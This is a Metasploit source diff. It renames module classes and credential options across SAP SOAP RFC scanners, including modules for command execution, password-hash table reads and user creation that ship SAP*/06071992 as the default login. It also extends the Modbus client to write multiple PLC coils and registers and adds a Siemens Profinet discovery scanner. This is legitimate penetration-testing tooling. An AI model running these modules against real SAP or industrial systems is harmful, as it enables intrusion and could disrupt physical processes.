OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('DIR',[true,'Directory path (e.g. /etc)','/etc']) ], self.class) end @@ -75,7 +75,7 @@ class Metasploit4 < Msf::Auxiliary 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb index 1547c002aa..7ae555feed 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb @@ -22,7 +22,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -52,8 +52,8 @@ class Metasploit4 < Msf::Auxiliary register_options([ OptString.new('CLIENT', [true, 'SAP Client', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']), + OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('FILEPATH',[true,'File Path to check for (e.g. /etc)','/etc/passwd']) ], self.class) end @@ -77,7 +77,7 @@ class Metasploit4 < Msf::Auxiliary 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb index 95a48c4de8..935d3cf98f 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb @@ -16,7 +16,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -45,8 +45,8 @@ class Metasploit4 < Msf::Auxiliary [ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'Client', '001']), - OptString.new('USERNAME', [true, 'Username ', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password ', '06071992']) + OptString.new('HttpUsername', [true, 'Username ', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password ', '06071992']) ], self.class) end @@ -66,7 +66,7 @@ class Metasploit4 < Msf::Auxiliary 'method' => 'POST', 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}", 'data' => data, - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb index f699e19db8..e86664c91e 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb @@ -16,7 +16,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -45,8 +45,8 @@ class Metasploit4 < Msf::Auxiliary [ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'SAP client', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']), + OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('TABLE', [true, 'Table to read', 'USR02']), OptString.new('FIELDS', [true, 'Fields to read', 'BNAME,BCODE']) ], self.class) @@ -87,7 +87,7 @@ class Metasploit4 < Msf::Auxiliary 'method' => 'POST', 'data' => data, 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'ctype' => 'text/xml; charset=UTF-8', 'encode_params' => false, 'headers' => { diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb index e751c8e3cb..10a5670bab 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb @@ -23,7 +23,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -51,8 +51,8 @@ class Metasploit4 < Msf::Auxiliary register_options([ OptString.new('CLIENT', [true, 'SAP Client', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']), + OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('DIR',[true,'Directory path (e.g. /etc)','/etc']) ], self.class) end @@ -99,7 +99,7 @@ class Metasploit4 < Msf::Auxiliary 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb index 833901c516..9958ef4ddd 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb @@ -16,7 +16,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -43,8 +43,8 @@ class Metasploit4 < Msf::Auxiliary [ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'SAP client', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']), + OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('ABAP_PASSWORD',[false,'Password for the account (Default is msf1234)','msf1234']), OptString.new('ABAP_USER',[false,'Username for the account (Username in upper case only. Default is MSF)', 'MSF']) ], self.class) @@ -76,7 +76,7 @@ class Metasploit4 < Msf::Auxiliary 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', 'encode_params' => false, - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' }, diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb index 0091f41be4..0615e0c753 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -16,7 +16,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -45,8 +45,8 @@ class Metasploit4 < Msf::Auxiliary [ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'SAP Client', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']), + OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('CMD', [true, 'SM69 command to be executed', 'PING']), OptString.new('PARAM', [false, 'Additional parameters for the SM69 command', nil]), OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']]) @@ -79,7 +79,7 @@ class Metasploit4 < Msf::Auxiliary 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', 'encode_params' => false, - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', }, diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb index 0480f0b23d..026be35789 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -16,7 +16,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -45,8 +45,8 @@ class Metasploit4 < Msf::Auxiliary [ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'SAP Client', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']), + OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('CMD', [true, 'SM69 command to be executed', 'PING']), OptString.new('PARAM', [false, 'Additional parameters for the SM69 command', nil]), OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']]) @@ -79,7 +79,7 @@ class Metasploit4 < Msf::Auxiliary 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', 'encode_params' => false, - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'headers' =>{ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', }, diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 5cfe258ca9..8d9debb9f5 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -16,7 +16,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -47,8 +47,8 @@ class Metasploit4 < Msf::Auxiliary [ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'SAP Client ', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']), + OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']), ], self.class) end @@ -95,7 +95,7 @@ class Metasploit4 < Msf::Auxiliary 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', 'encode_params' => false, - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'headers' =>{ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', }, diff --git a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb index a9400633cf..09e6ee3b0b 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb @@ -16,7 +16,7 @@ require "msf/core" -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -45,8 +45,8 @@ class Metasploit4 < Msf::Auxiliary [ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'SAP Client', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']) + OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']) ], self.class) end @@ -70,7 +70,7 @@ class Metasploit4 < Msf::Auxiliary 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', 'encode_params' => false, - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', }, diff --git a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb index ebac99fd8b..a97e65fda8 100644 --- a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb @@ -16,7 +16,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/scada/digi_addp_reboot.rb b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb index a93c3dfafe..10c13f6ba1 100644 --- a/modules/auxiliary/scanner/scada/digi_addp_reboot.rb +++ b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/proto/addp' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/scada/digi_addp_version.rb b/modules/auxiliary/scanner/scada/digi_addp_version.rb index 3de56d9a43..25d2ccffaa 100644 --- a/modules/auxiliary/scanner/scada/digi_addp_version.rb +++ b/modules/auxiliary/scanner/scada/digi_addp_version.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/proto/addp' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb b/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb index 0838eae12e..1893540379 100644 --- a/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb +++ b/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::RealPort include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/scada/digi_realport_version.rb b/modules/auxiliary/scanner/scada/digi_realport_version.rb index b0a9ea2d1c..eb6c6aad89 100644 --- a/modules/auxiliary/scanner/scada/digi_realport_version.rb +++ b/modules/auxiliary/scanner/scada/digi_realport_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::RealPort include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb index 6b8acd99f2..ab3545a5bf 100644 --- a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/scada/koyo_login.rb b/modules/auxiliary/scanner/scada/koyo_login.rb index ecf1f50a29..83e248ba52 100644 --- a/modules/auxiliary/scanner/scada/koyo_login.rb +++ b/modules/auxiliary/scanner/scada/koyo_login.rb @@ -8,7 +8,7 @@ require 'msf/core' # msfdev is going to want a bunch of other stuff for style/compat but this works # TODO: Make into a real AuthBrute module, although the password pattern is fixed -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/scada/modbus_findunitid.rb b/modules/auxiliary/scanner/scada/modbus_findunitid.rb index d570f4281b..b58a0fe30c 100644 --- a/modules/auxiliary/scanner/scada/modbus_findunitid.rb +++ b/modules/auxiliary/scanner/scada/modbus_findunitid.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/scanner/scada/modbusclient.rb b/modules/auxiliary/scanner/scada/modbusclient.rb index 70b5242414..325de27a11 100644 --- a/modules/auxiliary/scanner/scada/modbusclient.rb +++ b/modules/auxiliary/scanner/scada/modbusclient.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -20,24 +20,31 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'EsMnemon ', # original write-only module - 'Arnaud SOULLIE ' # new code that allows read/write + 'Arnaud SOULLIE ', # code that allows read/write + 'Alexandrine TORRENTS ', # code that allows reading/writing at multiple consecutive addresses + 'Mathieu CHEVALIER ' ], 'License' => MSF_LICENSE, 'Actions' => [ - ['READ_COIL', { 'Description' => 'Read one bit from a coil' } ], + ['READ_COILS', { 'Description' => 'Read bits from several coils' } ], + ['READ_REGISTERS', { 'Description' => 'Read words from several registers' } ], ['WRITE_COIL', { 'Description' => 'Write one bit to a coil' } ], - ['READ_REGISTER', { 'Description' => 'Read one word from a register' } ], - ['WRITE_REGISTER', { 'Description' => 'Write one word to a register' } ] + ['WRITE_REGISTER', { 'Description' => 'Write one word to a register' } ], + ['WRITE_COILS', { 'Description' => 'Write bits to several coils' } ], + ['WRITE_REGISTERS', { 'Description' => 'Write words to several registers' } ] ], - 'DefaultAction' => 'READ_REGISTER' + 'DefaultAction' => 'READ_REGISTERS' )) register_options( [ Opt::RPORT(502), - OptInt.new('DATA', [false, "Data to write (WRITE_COIL and WRITE_REGISTER modes only)"]), OptInt.new('DATA_ADDRESS', [true, "Modbus data address"]), + OptInt.new('NUMBER', [false, "Number of coils/registers to read (READ_COILS ans READ_REGISTERS modes only)", 1]), + OptInt.new('DATA', [false, "Data to write (WRITE_COIL and WRITE_REGISTER modes only)"]), + OptString.new('DATA_COILS', [false, "Data in binary to write (WRITE_COILS mode only) e.g. 0110"]), + OptString.new('DATA_REGISTERS', [false, "Words to write to each register separated with a comma (WRITE_REGISTERS mode only) e.g. 1,2,3,4"]), OptInt.new('UNIT_NUMBER', [false, "Modbus unit number", 1]), ], self.class) @@ -63,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary payload = [datastore['UNIT_NUMBER']].pack("c") payload += [@function_code].pack("c") payload += [datastore['DATA_ADDRESS']].pack("n") - payload += [1].pack("n") + payload += [datastore['NUMBER']].pack("n") make_payload(payload) end @@ -79,6 +86,21 @@ class Metasploit3 < Msf::Auxiliary packet_data end + def make_write_coils_payload(data, byte) + payload = [datastore['UNIT_NUMBER']].pack("c") + payload += [@function_code].pack("c") + payload += [datastore['DATA_ADDRESS']].pack("n") + payload += [datastore['DATA_COILS'].size].pack("n") # bit count + payload += [byte].pack("c") # byte count + for i in 0..(byte-1) + payload += [data[i]].pack("b*") + end + + packet_data = make_payload(payload) + + packet_data + end + def make_write_register_payload(data) payload = [datastore['UNIT_NUMBER']].pack("c") payload += [@function_code].pack("c") @@ -88,6 +110,19 @@ class Metasploit3 < Msf::Auxiliary make_payload(payload) end + def make_write_registers_payload(data, size) + payload = [datastore['UNIT_NUMBER']].pack("c") + payload += [@function_code].pack("c") + payload += [datastore['DATA_ADDRESS']].pack("n") + payload += [size].pack("n") # word count + payload += [2*size].pack("c") # byte count + for i in 0..(size-1) + payload += [data[i]].pack("n") + end + + make_payload(payload) + end + def handle_error(response) case response.reverse.unpack("c")[0].to_i when 1 @@ -106,34 +141,57 @@ class Metasploit3 < Msf::Auxiliary return end - def read_coil + def read_coils + if datastore['NUMBER']+datastore['DATA_ADDRESS'] > 65535 + print_error("Coils addresses go from 0 to 65535. You cannot go beyond.") + return + end @function_code = 0x1 - print_status("Sending READ COIL...") + print_status("Sending READ COILS...") response = send_frame(make_read_payload) + values = [] if response.nil? - print_error("No answer for the READ COIL") + print_error("No answer for the READ COILS") return elsif response.unpack("C*")[7] == (0x80 | @function_code) handle_error(response) elsif response.unpack("C*")[7] == @function_code - value = response[9].unpack("c")[0] - print_good("Coil value at address #{datastore['DATA_ADDRESS']} : #{value}") + loop = (datastore['NUMBER']-1)/8 + for i in 0..loop + bin_value = response[9+i].unpack("b*")[0] + list = bin_value.split("") + for j in 0..7 + list[j] = list[j].to_i + values[i*8 + j] = list[j] + end + end + values = values[0..(datastore['NUMBER']-1)] + print_good("#{datastore['NUMBER']} coil values from address #{datastore['DATA_ADDRESS']} : ") + print_good("#{values}") else print_error("Unknown answer") end end - def read_register + def read_registers + if datastore['NUMBER']+datastore['DATA_ADDRESS'] > 65535 + print_error("Registers addresses go from 0 to 65535. You cannot go beyond.") + return + end @function_code = 3 - print_status("Sending READ REGISTER...") + print_status("Sending READ REGISTERS...") response = send_frame(make_read_payload) + values = [] if response.nil? - print_error("No answer for the READ REGISTER") + print_error("No answer for the READ REGISTERS") elsif response.unpack("C*")[7] == (0x80 | @function_code) handle_error(response) elsif response.unpack("C*")[7] == @function_code - value = response[9..10].unpack("n")[0] - print_good("Register value at address #{datastore['DATA_ADDRESS']} : #{value}") + for i in 0..(datastore['NUMBER']-1) + values.push(response[9+2*i..10+2*i].unpack("n")[0]) + end + print_good("#{datastore['NUMBER']} register values from address #{datastore['DATA_ADDRESS']} : ") + print_good("#{values}") else print_error("Unknown answer") end @@ -162,6 +220,39 @@ class Metasploit3 < Msf::Auxiliary end end + def write_coils + @function_code = 15 + temp = datastore['DATA_COILS'] + check = temp.split("") + if temp.size > 65535 + print_error("DATA_COILS size must be between 0 and 65535") + return + end + for j in check + if j=="0" or j=="1" + else + print_error("DATA_COILS value must only contain 0s and 1s without space") + return + end + end + byte_number = (temp.size-1)/8 + 1 + data = [] + for i in 0..(byte_number-1) + data.push(temp[(i*8+0)..(i*8+7)]) + end + print_status("Sending WRITE COILS...") + response = send_frame(make_write_coils_payload(data, byte_number)) + if response.nil? + print_error("No answer for the WRITE COILS") + elsif response.unpack("C*")[7] == (0x80 | @function_code) + handle_error(response) + elsif response.unpack("C*")[7] == @function_code + print_good("Values #{datastore['DATA_COILS']} successfully written from coil address #{datastore['DATA_ADDRESS']}") + else + print_error("Unknown answer") + end + end + def write_register @function_code = 6 if datastore['DATA'] < 0 || datastore['DATA'] > 65535 @@ -181,18 +272,74 @@ class Metasploit3 < Msf::Auxiliary end end + def write_registers + @function_code = 16 + check = datastore['DATA_REGISTERS'].split("") + for j in 0..(check.size-1) + if check[j] == "0" or check[j]== "1" or check[j]== "2" or check[j]== "3" or check[j]== "4" or check[j]== "5" or check[j]== "6" or check[j]== "7" or check[j]== "8" or check[j]== "9" or check[j]== "," + if check[j] == "," and check[j+1] == "," + print_error("DATA_REGISTERS cannot contain two consecutive commas") + return + end + else + print_error("DATA_REGISTERS value must only contain numbers and commas without space") + return + end + end + list = datastore['DATA_REGISTERS'].split(",") + if list.size+datastore['DATA_ADDRESS'] > 65535 + print_error("Registers addresses go from 0 to 65535. You cannot go beyond.") + return + end + data = [] + for i in 0..(list.size-1) + data[i] = list[i].to_i + end + for j in 0..(data.size-1) + if data[j] < 0 || data[j] > 65535 + print_error("Each word to write must be an integer between 0 and 65535 in WRITE_REGISTERS mode") + return + end + end + print_status("Sending WRITE REGISTERS...") + response = send_frame(make_write_registers_payload(data, data.size)) + if response.nil? + print_error("No answer for the WRITE REGISTERS") + elsif response.unpack("C*")[7] == (0x80 | @function_code) + handle_error(response) + elsif response.unpack("C*")[7] == @function_code + print_good("Values #{datastore['DATA_REGISTERS']} successfully written from registry address #{datastore['DATA_ADDRESS']}") + else + print_error("Unknown answer") + end + end + def run @modbus_counter = 0x0000 # used for modbus frames connect case action.name - when "READ_COIL" - read_coil - when "READ_REGISTER" - read_register + when "READ_COILS" + read_coils + when "READ_REGISTERS" + read_registers when "WRITE_COIL" write_coil when "WRITE_REGISTER" write_register + when "WRITE_COILS" + if datastore['DATA_COILS'] == nil + print_error("The following option is needed in WRITE_COILS mode: DATA_COILS.") + return + else + write_coils + end + when "WRITE_REGISTERS" + if datastore['DATA_REGISTERS'] == nil + print_error("The following option is needed in WRITE_REGISTERS mode: DATA_REGISTERS.") + return + else + write_registers + end else print_error("Invalid ACTION") end diff --git a/modules/auxiliary/scanner/scada/modbusdetect.rb b/modules/auxiliary/scanner/scada/modbusdetect.rb index 7740955785..3eff2c7567 100644 --- a/modules/auxiliary/scanner/scada/modbusdetect.rb +++ b/modules/auxiliary/scanner/scada/modbusdetect.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/scada/profinet_siemens.rb b/modules/auxiliary/scanner/scada/profinet_siemens.rb new file mode 100644 index 0000000000..43a726be60 --- /dev/null +++ b/modules/auxiliary/scanner/scada/profinet_siemens.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'packetfu' + +class MetasploitModule < Msf::Auxiliary + def initialize + super( + 'Name' => 'Siemens Profinet Scanner', + 'Description' => %q{ + This module will use Layer2 packets, known as Profinet Discovery packets, + to detect all Siemens (and sometimes other) devices on a network. + It is perfectly SCADA-safe, as there will only be ONE single packet sent out. + Devices will respond with their IP configuration and hostnames. + Created by XiaK Industrial Security Research Center (www[dot]xiak[dot]be)) + }, + 'References' => + [ + [ 'URL', 'https://wiki.wireshark.org/PROFINET/DCP' ], + [ 'URL', 'https://github.com/tijldeneut/ICSSecurityScripts' ] + ], + 'Author' => 'Tijl Deneut ', + 'License' => MSF_LICENSE + ) + + register_options( + [ + OptString.new('INTERFACE', [ true, 'Set an interface', 'eth0' ]), + OptInt.new('ANSWERTIME', [ true, 'Seconds to wait for answers, set longer on slower networks', 2 ]) + ], self.class + ) + end + + def hex_to_bin(s) + s.scan(/../).map { |x| x.hex.chr }.join + end + + def bin_to_hex(s) + s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join + end + + def hexint_to_str(s) + s.to_i(16).to_s + end + + def hex_to_address(s) + hexint_to_str(s[0..1]) + '.' + hexint_to_str(s[2..3]) + '.' + hexint_to_str(s[4..5]) + '.' + hexint_to_str(s[6..7]) + end + + def parse_devicerole(role) + arr = { "01" => "IO-Device", "02" => "IO-Controller", "04" => "IO-Multidevice", "08" => "PN-Supervisor" } + return arr[role] unless arr[role].nil? + 'Unknown' + end + + def parse_vendorid(id) + return 'Siemens' if id == '002a' + 'Unknown' + end + + def parse_deviceid(id) + arr = { "0a01" => "Switch", "0202" => "PC Simulator", "0203" => "S7-300 CPU", \ + "0101" => "S7-300", "010e" => "S7-1500", "010d" => "S7-1200", "0301" => "HMI", \ + "0403" => "HMI", "010b" => "ET200S" } + return arr[id] unless arr[id].nil? + 'Unknown' + end + + def parse_block(block, block_length) + block_id = block[0..2 * 2 - 1] + case block_id + when '0201' + type_of_station = hex_to_bin(block[4 * 2..4 * 2 + block_length * 2 - 1]) + print_line("Type of station: #{type_of_station}") + when '0202' + name_of_station = hex_to_bin(block[4 * 2..4 * 2 + block_length * 2 - 1]) + print_line("Name of station: #{name_of_station}") + when '0203' + vendor_id = parse_vendorid(block[6 * 2..8 * 2 - 1]) + device_id = parse_deviceid(block[8 * 2..10 * 2 - 1]) + print_line("Vendor and Device Type: #{vendor_id}, #{device_id}") + when '0204' + device_role = parse_devicerole(block[6 * 2..7 * 2 - 1]) 